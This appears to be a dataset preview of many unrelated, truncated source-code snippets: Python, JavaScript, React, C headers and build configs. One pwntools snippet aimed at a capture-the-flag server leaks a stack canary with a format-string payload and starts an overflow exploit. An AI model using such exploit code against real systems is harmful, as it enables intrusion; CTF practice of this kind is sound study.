text stringlengths 3 1.05M |
|---|
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: rastervision/protos/raster_source.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf i... |
# KINDS
# -----
# 0 - docID
# 1 - title
# 2 - infobox
# 3 - references
# 4 - category
# 5 - links
# 6 - body
import pickle, os
class search ():
def __init__ (self, path_to_index_file, stemmer, stopwords):
self.path_to_index_file = path_to_index_file
self.stemmer = stemmer
self.stopwords = stopwords
self.weight... |
# Download the Python helper library from twilio.com/docs/python/install
from twilio.rest import Client
# Your Account Sid and Auth Token from twilio.com/console
api_key_sid = "SKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
api_key_secret = "your_api_key_secret"
client = Client(api_key_sid, api_key_secret)
recording = client.vi... |
export default function formValidation(values, type) {
let errors = {};
let isValid = true;
// Username
if (!values.username.trim()) {
errors.username = "*Username required";
isValid = false;
} else if (values.username.trim().length < 3) {
errors.username = "*Username needs to be 3 characters or ... |
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
# Copyright 2018 Google AI, Google Brain and the HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# ... |
import re
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
with open("obs/__init__.py", "r", encoding="utf8") as f:
version = re.search(r'__version__ = "(.*?)"', f.read()).group(1)
with open("README.rst", "rb") as f:
readme = f.read().decode("utf-8")
with open("... |
(function (name, context, definition) {
if (typeof module != 'undefined' && module.exports) module.exports = definition()
else if (typeof define == 'function' && define.amd) define(definition)
else context[name] = definition()
})('bean', this, function (name, context) {
name = name || 'bean'
context = c... |
/**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by a... |
/**
* @file
* Loading and intializing a javascript google map clustering library
*
* This is specifically to be used for marker clustering
* Docs: https://developers.google.com/maps/documentation/javascript/marker-clustering
*/
require('gmaps-marker-clusterer');
var infowindow = new google.maps.InfoWindow();
va... |
# coding: utf-8
"""
FlashArray REST API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 2.10
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re
import six
import typing
from ... |
# coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... |
"""
Flash OS Routines (Automagically Generated)
Copyright (c) 2009-2015 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless req... |
#ifndef FACESHAPEFROMSHADING_OFFSCREENMESHVISUALIZER_H
#define FACESHAPEFROMSHADING_OFFSCREENMESHVISUALIZER_H
//#include "Geometry/geometryutils.hpp"
//#include "Utils/utility.hpp"
#include "basicmesh.h"
#include "parameters.h"
#include <QDir>
#include <QImage>
#include <QOpenGLContext>
#include <QOpenGLFramebufferO... |
'use strict';
describe("ajaxQueue", function() {
it("test", function() {
expect(true).toBe(true);
});
}); |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
import os
import scanpy as sc
from ._plotting import pair_plot, plot_z_3d, keys_to_colors, plot_x_traj
import numpy as np
from ._mymodel import MyModel
from . import setup_anndata
import scvi
def save_results_txt(
model_path, latent, cell_type, start_idx, end_idx, time_course, init_indices
):
np.savetxt(os.p... |
import json
import random
import requests
import os
from nltk import word_tokenize, pos_tag, download
from confessionscommenter.general_utils import HiddenPrints
#Download necessary tokenizers
download("punkt", quiet=True)
download("averaged_perceptron_tagger", quiet=True)
with HiddenPrints():
from transformers ... |
import React from 'react';
import {
Text, View, TouchableOpacity, Image, StyleSheet
} from 'react-native';
import PropTypes from 'prop-types';
import I18n from '../../../i18n';
import sharedStyles from '../../Styles';
import { COLOR_PRIMARY } from '../../../constants/colors';
const styles = StyleSheet.create({
cont... |
// @flow
import * as React from 'react';
import { StaticRouter } from 'react-router';
import Landing from './landing.react';
export type LandingSSRProps = {
+url: string,
+basename: string,
};
function LandingSSR(props: LandingSSRProps): React.Node {
const { url, basename } = props;
const routerContext = Rea... |
#ifndef _CG_TEAMLEADERRETINVITE_H_
#define _CG_TEAMLEADERRETINVITE_H_
#include "Type.h"
#include "Packet.h"
#include "PacketFactory.h"
namespace Packets
{
class CGTeamLeaderRetInvite: public Packet
{
public:
CGTeamLeaderRetInvite(){};
virtual ~CGTeamLeaderRetInvite(){... |
#!/usr/bin/env python3
from gi.repository import GLib
import subprocess
import threading
from nwg_panel.tools import check_key, update_image
import gi
gi.require_version('Gtk', '3.0')
gi.require_version('Gdk', '3.0')
from gi.repository import Gtk, Gdk, GdkPixbuf
class Executor(Gtk.EventBox):
def __init__(se... |
from pathlib import Path
import warnings
from typing import List
from collections import Counter
# Validate if no duplicate video keys exist
# Moved to classes.db_interventions
def validate_video_keys(db_interventions) -> List:
"""Expects db_intervention collection, filters for non unique video_keys
Args:
... |
/**
* @description MeshCentral main module
* @author Ylian Saint-Hilaire
* @copyright Intel Corporation 2018-2020
* @license Apache-2.0
* @version v0.0.1
*/
/*xjslint node: true */
/*xjslint plusplus: true */
/*xjslint maxlen: 256 */
/*jshint node: true */
/*jshint strict: false */
/*jshint esversion: 6 */
"use strict... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
//Contains the Javascript necessary to make the slideshow operate (Side note: Finally, single line comments!!)
//The best part is this code does not rely on jQuery being installed
//Code from http://themarklee.com/2013/12/26/simple-diy-responsive-slideshow-made-html5-css3-javascript/
(function(document){ //Apply the s... |
const fetch = require('node-fetch')
exports.ERROR_MESSAGE = {
response_type: 'ephemeral',
text:
':x: Something went wrong with your request. Please try again and if the error persists, post a message at <#C319P09PB>.', // move to Parameter Store so it can be used for all generic errors?
}
exports.HELP_BLOCK =... |
module.exports = {
root: true,
parser: '@typescript-eslint/parser',
extends: [
'yoctol-base',
'plugin:@typescript-eslint/recommended',
'prettier',
'prettier/@typescript-eslint',
],
env: {
node: true,
jest: true,
jasmine: true,
},
plugins: ['@typescript-eslint', 'eslint-plugin-t... |
/* eslint-disable max-len */
import React, { useEffect } from 'react';
import { Segment } from 'semantic-ui-react';
import ReactPixel from 'react-facebook-pixel';
export const PrivacyPolicy = () => {
useEffect(() => {
ReactPixel.init('898969540474999');
ReactPixel.pageView();
});
return (
<Segment s... |
(window.webpackJsonp=window.webpackJsonp||[]).push([[29],{"3N3H":function(e,n,t){"use strict";t.r(n),t.d(n,"IonLoading",function(){return p}),t.d(n,"IonLoadingController",function(){return m});var i=t("B5Ai"),o=t("cBjU"),r=t("dYSE"),a=t("d6Vy");function s(e,n){var t=new e,i=new e;i.addElement(n.querySelector("ion-backd... |
app.filter("initcap",function(){
return function(value){
return value.charAt(0).toUpperCase() + value.substring(1);
}
}) |
#!/bin/env python
"""
Created on Tues Aug 14 8:59:11 2018
@author: francinecamacho
"""
"""This script takes in a BLAST tabular output file: a fasta file used to BLAST against itself to parse out the
duplicated clusters, proteins or genes from the fasta file. Assumption is that the BLAST tabular file is run with
--... |
from setuptools import setup
with open("README.rst") as readme_file:
readme = readme_file.read()
setup(
name='pytest-describe',
version='2.0.0',
description='Describe-style plugin for pytest',
long_description=readme,
long_description_content_type='text/x-rst',
url='https://github.com/py... |
document.write("<script src='js/function.js'></script>");
document.write("<script src='js-unit/jquery-easyui/plugins/jquery.pagination.js'></script>");
$.extend({
initTable: function(domObject, options) {
var _op = $.extend({
width: '920',
pagination: true,
columns: [],
... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const tslib_1 = require("tslib");
//Exports all handler functions
(0, tslib_1.__exportStar)(require("./mappings/mappingHandlers"), exports);
|
$(document).on('submit','form.form-signin',function(e){
//check campo nickname
var nickname = $('input#nickname').val();
if ( nickname == '' ) {
alert('Escribe tu Usuario');
$('input#nickname').focus();
return false;
};
//check campo password
var password = $('input#password').val();
if ( password == '' )... |
import click
@click.command("netspace", short_help="Estimate total farmed space on the network")
@click.option(
"-p",
"--rpc-port",
help=(
"Set the port where the Full Node is hosting the RPC interface. "
"See the rpc_port under full_node in config.yaml. "
"[default: 8555]"
),
... |
import car_all as car
my_beetle = car.Car('volkswagen', 'beetle', 2016)
print(my_beetle.get_descriptive_name())
my_tesla = car.ElectricCar('tesla', 'model s', 2016)
print(my_tesla.get_descriptive_name())
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
const hre = require("hardhat");
async function main() {
const Greeter = await hre.ethers.getContractFactory("Greeter");
const greeter = await Greeter.deploy("Hello, Hardhat!");
await greeter.deployed();
console.log("Greeter deployed to:", greeter.address);
}
// We recommend this pattern to be able to use asyn... |
###################################################################################
#
# Copyright (c) 2017-2019 MuK IT GmbH.
#
# This file is part of MuK Web Utils
# (see https://mukit.at).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Ge... |
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import "NSArray.h"
@interface NSArray (uniAttribute)
- (void)setInAttributes:(id)arg1 withName:(id)arg2 andType:(id)arg3; // IMP=0x00000001007993e4
@end
|
import React from 'react';
import { ph_title, ph_body } from './Sections';
import PropTypes from 'prop-types';
import '../styles/Section.css';
const TextContent = ({ title, body }) => {
return (
<div className="text-content">
<h2>{ title ? title : ph_title }</h2>
<p>{ body ? body : ph_body }</p>
... |
var Typer = function(element) {
this.element = element;
var delim = element.dataset.delim || ",";
var words = element.dataset.words || "override these,sample typing";
this.words = words.split(delim).filter((v) => v); // non empty words
this.delay = element.dataset.delay || 200;
this.loop = element.dataset.l... |
import shared from "../tile-g/shared-tile-g.native";
shared();
|
var common = require("../common-tap.js")
var test = require("tap").test
var npm = require("../../")
var mkdirp = require("mkdirp")
var rimraf = require("rimraf")
var mr = require("npm-registry-mock")
// config
var pkg = __dirname + "/outdated-git"
mkdirp.sync(pkg + "/cache")
test("dicovers new versions in outdated",... |
import asyncio
from aiohttp.test_utils import AioHTTPTestCase
from .app.web import setup_app
from ...base import BaseTracerTestCase
class TraceTestCase(BaseTracerTestCase, AioHTTPTestCase):
"""
Base class that provides a valid ``aiohttp`` application with
the async tracer.
"""
def enable_tracing... |
export default function getBaseUrl() {
return getQueryStringParameterByName("useMockApi")
? "http://localhost:3001/"
: "https://mysterious-dawn-16770.herokuapp.com/";
}
function getQueryStringParameterByName(name, url) {
if (!url) url = window.location.href;
name = name.replace(/[[]]/g, "\\$&");
var re... |
# coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
"""
This module implements classes to perform bond valence analyses.
"""
import collections
import functools
import operator
import os
from math import exp, sqrt
import numpy as np
from monty.serialization im... |
import React, { useContext, useState } from "react";
import { Alert, Button, Container, Form, Spinner } from "react-bootstrap";
import AuthService from "../../services/AuthService";
import { AuthContext } from "../../context/auth/AuthContext";
import { LoginFailed, LoginStart, LoginSuccess } from "../../context/auth/A... |
# coding: utf-8
"""
LUSID API
FINBOURNE Technology # noqa: E501
The version of the OpenAPI document: 0.11.3192
Contact: info@finbourne.com
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
class FxForwardAllOf(object):
"""NOTE: This class i... |
#import <React/RCTBridgeModule.h>
@interface Multibundle : NSObject <RCTBridgeModule>
@end
|
import {
getMoveDelta,
nodes
} from './brush-range-node-builder';
import {
startArea,
moveArea,
endArea
} from './brush-range-interaction';
import rangeCollection from '../../../core/brush/range-collection';
import {
TARGET_SIZE,
VERTICAL,
HORIZONTAL
} from './brush-range-const';
function render(state)... |
import React, { Component } from "react";
import logo from "./logo.svg";
import "./App.css";
import { ApolloClient, gql, graphql, ApolloProvider } from "react-apollo";
const client = new ApolloClient();
const channelsListQuery = gql`
query ChannelsListQuery {
channels {
id
name
}
}
`;
... |
/* eslint-disable no-undef */
import React from 'react';
import { render } from '@testing-library/react';
import { DayOfWeek } from '../../src/components';
it('render day of week and confirm title appears', () => {
const { getByText } = render(
<DayOfWeek
title="Sun"
highTemp="72.5"... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
# Export this package's modules as members:
from .alarm import *
from .attachment import *
from .get_alarms import *
from .get_lifecycl... |
import AbstractNodeScreen from '@triniti/cms/plugins/ncr/screens/node';
import createDelegateFactory from '@triniti/app/createDelegateFactory';
import { connect } from 'react-redux';
import delegateFactory from './delegate';
import Form from './Form';
import selector from './selector';
class AppScreen extends Abstrac... |
/**
* APIMATICCalculatorDevOpsLib
*
* This file was automatically generated for testing by APIMATIC v2.0 ( https://apimatic.io ).
*/
;(function (angular) {
'use strict';
angular.module('APIMATICCalculatorDevOpsLib')
.factory('Configuration', [Configuration]);
function Configuration() {
... |
# Copyright 2017 NTT DATA
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
import React from 'react';
import { Grid, Header, Segment } from 'semantic-ui-react'
export default class ForumHeader extends React.Component {
render() {
return (
<Segment attached='top' secondary>
<Grid>
<Grid.Row>
<Grid.Column width={10}>
<Header size='small'... |
from pwn import *
#p = process("./canary"); gdb.attach(p)
p = remote("shell.actf.co", 20701)
e = ELF("./canary")
xpl = ""
xpl += "%17$lx"
p.sendlineafter("your name?", xpl)
canary = p.recvline()
canary = canary.split(" ")[5].replace("!", "")
canary = int(canary, 16)
info("Canary ==> %s"%hex(canary))
xpl = ""
xpl +=... |
///\file
/******************************************************************************
The MIT License(MIT)
Embedded Template Library.
https://github.com/ETLCPP/etl
http://www.etlcpp.com
Copyright(c) 2014 jwellbelove
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and... |
/** TODO: bundler tricks
* 🔇 shim the console.log on both `bytebeallcore` and `headless-wallet`
*/
import {dirname, resolve, parse} from "path"
import {sync as glob} from "globby"
import {logger} from "@rollup/log"
import {rm, mv} from "shelljs"
import {sync as rmEmptyDir} from "delete-empty"
import nodeResolve fro... |
#!/usr/bin/env python
from __future__ import print_function
import ctypes.util
import glob
import os
import re
import sys
from distutils.version import LooseVersion
from setuptools import Extension, setup
from setuptools.command.build_ext import build_ext as _build_ext
import versioneer
# This is needed to use num... |
var m = require('mithril');
module.exports = m.trust('<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" baseProfile="full" width="24" height="24" viewBox="0 0 24.00 24.00" enable-background="new 0 0 24.00 24.00" xml:space="preserve"><path fill="#000000" fill-opacity="1" st... |
import {
Button,
Container,
Form,
Icon,
Message,
Segment,
} from 'semantic-ui-react';
import PropTypes from 'prop-types';
import Link from 'next/link';
const LoginForm = ({
user,
loading,
disabled,
error,
signupLink,
handleChange,
handleSubmit,
}) => (
<Container text>
<Message
at... |
/*++
Copyright (c) 1990-2003 Microsoft Corporation
All rights reserved
Module Name:
dialogs.c
// @@BEGIN_DDKSPLIT
Abstract:
Environment:
User Mode -Win32
Revision History:
// @@END_DDKSPLIT
--*/
#include "precomp.h"
#pragma hdrstop
#include "spltypes.h"
#include "localui.h"
#i... |
#ifndef NN_TRANSPORT_INCLUDED
#define NN_TRANSPORT_INCLUDED
#include "nn.h"
#include "aio/fsm.h"
#include "utils/list.h"
#include "utils/msg.h"
#include <stddef.h>
struct nn_sock;
struct nn_optset;
struct nn_optset_vfptr {
void (*destroy)(struct nn_optset *self);
int (*setopt)(struct nn_optset *self, int... |
# Define here the models for your spider middleware
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/spider-middleware.html
from scrapy import signals
# useful for handling different item types with a single interface
from itemadapter import is_item, ItemAdapter
class Proj2081SpiderMiddleware:
... |
goog.provide('cljs.core.async.impl.ioc_helpers');
goog.require('cljs.core');
goog.require('cljs.core.async.impl.protocols');
cljs.core.async.impl.ioc_helpers.FN_IDX = (0);
cljs.core.async.impl.ioc_helpers.STATE_IDX = (1);
cljs.core.async.impl.ioc_helpers.VALUE_IDX = (2);
cljs.core.async.impl.ioc_helpers.BINDINGS_IDX = ... |
/**
* Created by yan on 15-7-6.
*/
var moment = require('moment');
document.write(moment().locale('zh-cn').format('LLLL')); |
'use strict'
const arch = require('./arch')
const debug = require('debug')('electron-download')
const envPaths = require('env-paths')
const fs = require('fs-extra')
const rc = require('rc')
const nugget = require('nugget')
const os = require('os')
const path = require('path')
const pathExists = require('path-exists')
... |
/* global require, module */
var EmberApp = require('ember-cli/lib/broccoli/ember-app');
module.exports = function(defaults) {
var app = new EmberApp(defaults, {
sassOptions: {
extension: 'sass'
}
});
// Use `app.import` to add additional libraries to the generated
// output files.
//
// If ... |
export const setBoards = (state, action) => {
const { boards } = action;
return {
...state,
isFetching: false,
fetched: true,
data: boards,
};
};
export const setVisibilityRegistrationForm = (state, action) => {
const { value } = action;
return {
...state,
showRegist... |
import sys
import pygame
from settings import Settings
from ship import Ship
import game_functions as gf
def run_game():
# 初始化游戏并创建一个屏幕对象
pygame.init()
ai_setting = Settings()
screen = pygame.display.set_mode((ai_setting.screen_width, ai_setting.screen_height))
pygame.display.set_caption("Alien ... |
# coding: utf-8
"""Plotting library."""
from copy import deepcopy
from io import BytesIO
from typing import Any, Dict, List, Optional, Tuple, Union
import numpy as np
from .basic import Booster, _log_warning
from .compat import GRAPHVIZ_INSTALLED, MATPLOTLIB_INSTALLED
from .sklearn import LGBMModel
def _check_not_t... |
from PySimultan import DataModel, Template, yaml
from src.PYSimultanRadiation import TemplateParser
from src.PYSimultanRadiation.geometry.scene import Scene
import os
from src.PYSimultanRadiation.config import config
import logging
logger = logging.getLogger('PySimultanRadiation')
logger.setLevel('INFO')
logger2 = l... |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
"""
redisimp - redis import tool
"""
from .api import * # noqa
from .multi import * # noqa
from .cli import * # noqa
from .version import __version__ # noqa
|
import DoughnutController from './controller.doughnut';
import defaults from '../core/core.defaults';
import {clone} from '../helpers/helpers.core';
defaults.set('pie', clone(defaults.doughnut));
defaults.set('pie', {
cutoutPercentage: 0
});
// Pie charts are Doughnut chart with different defaults
export default Dou... |
/* eslint-disable import/no-unresolved,node/no-missing-import,node/no-extraneous-import */
import imagemin from 'imagemin';
import imageminOptipng from 'imagemin-optipng';
import imageminPngquant from 'imagemin-pngquant';
const options = {};
options.plugins = [];
options.plugins.push(
imageminPngquant({
speed:... |
/**
* Copyright (c) 2013 Petka Antonov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, pub... |
import triplesec from "triplesec";
import PouchDB from "pouchdb";
import vsys from "@virtualeconomy/js-v-sdk";
import converters from "../utils/converters";
import { get_currency_by_country_code } from "../utils/currency";
import base58 from "base-58";
import { clean_json_text } from "../utils/json";
import get_browse... |
module.exports = {
roots: ['<rootDir>/src'],
collectCoverage: true,
coverageDirectory: "coverage/",
errorOnDeprecated: true,
transform: {
'^.+\\.ts$': 'ts-jest',
},
testEnvironment: "node",
testRegex: '.*\\.test.ts?$',
testPathIgnorePatterns: [
'<rootDir>/node_modules',
'<rootDir>/lib',
... |
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vi: set ft=python sts=4 ts=4 sw=4 et:
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
#
# See COPYING file distributed along with the PyMVPA package for the
# copyright and license terms.
#
### ### ### ### ###... |
#!/usr/bin/env javascript
#
# Copyright (c) Bo Peng and the University of Texas MD Anderson Cancer Center
# Distributed under the terms of the 3-clause BSD License.
from setuptools import find_packages, setup
# obtain version of SoS
with open('src/sos_stata/_version.py') as version:
for line in version:
i... |
import {Provider} from 'react-redux';
import store from './src/redux/store';
import AppViewContainer from './src/modules/AppViewContainer';
import React, {Component} from 'react';
import {AppRegistry, BackAndroid} from 'react-native';
import {NavigationActions} from 'react-navigation';
class flapjacks extends Componen... |
var metadata = require('./_metadata')
, anObject = require('./_an-object')
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
metadata.exp({hasOwnMetadata: function hasOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasOwnMetadat... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
// Base to std::allocator -*- C++ -*-
// Copyright (C) 2004-2020 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Found... |
# Author: David Goodger
# Contact: goodger@python.org
# Revision: $Revision: 4229 $
# Date: $Date: 2005-12-23 00:46:16 +0100 (Fri, 23 Dec 2005) $
# Copyright: This module has been placed in the public domain.
"""
This package contains directive implementation modules.
The interface for directive functions is... |
// Launches Endpoints
const Router = require('koa-router');
const launches = require('../../controllers/v3/launches');
const v3 = new Router({
prefix: '/v3/launches',
});
// Return all past and upcoming launches
v3.get('/', launches.all);
// Return most recent launch
v3.get('/latest', launches.latest);
// Return... |
"""
This module lets you experience the POWER of FUNCTIONS and PARAMETERS.
Authors: David Mutchler, Valerie Galluzzi, Mark Hays, Amanda Stouder,
their colleagues and Marc Fernandez.
""" # DONE: 1. PUT YOUR NAME IN THE ABOVE LINE.
import rosegraphics as rg
def main():
""" Calls the TEST functions i... |
exports.xiaoxi = [
{
isNew: true,
clfy: {zh: '新音声', en: '', jp: ''},
alias: {zh: 'NewVoice', en: '', jp: ''},
voice: [
{
path: 'xx-a.mp3',
desc: {
zh: 'a',
en: '',
jp: ''
... |
//Use so bullets collide with children trigger colliders instead of parent collider.
var childrenColliderList : Collider[]; |
webpackJsonp([146],{"2swh":function(t,n,e){n=t.exports=e("FZ+f")(!1),n.push([t.i,"\n.model-select[data-v-31af7fc5]{\n margin-bottom: 12px;\n}\n.input-list[data-v-31af7fc5] {\n width: 100%;\n position: relative;\n display: inline-block;\n height: 200px;\n z-index: 10;\n border-radius: 4px;\n -webkit-box-sh... |
/*
* This header is generated by classdump-dyld 1.5
* on Wednesday, April 28, 2021 at 9:02:40 PM Mountain Standard Time
* Operating System: Version 14.5 (Build 18L204)
* Image Source: /System/Library/PrivateFrameworks/GeoService... |
r"""
Parse additional arguments along with the setup.py arguments such as install, build, distribute, sdist, etc.
Usage:
python setup.py install <additional_flags>..<additional_flags> <additional_arg>=<value>..<additional_arg>=<value>
export CXX=<C++ compiler>; python setup.py install <additional_flags>..<addit... |
//===----- CGObjCRuntime.h - Interface to ObjC Runtimes ---------*- C++ -*-===//
//
// The LLVM37 Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===-----------------------------------------------------... |
import styled from 'styled-components';
export const ContentContainer = styled.div`
display: flex;
justify-content: center!important;
margin-botton: 2rem;
`;
export const Form = styled.form`
flex: 0 0 80%;
max-width: 80%;
padding: 2rem 2rem 1rem 2rem;
border: solid 1px rgba(255, 129, 11... |
import React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<React.Fragment><path d="M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.... |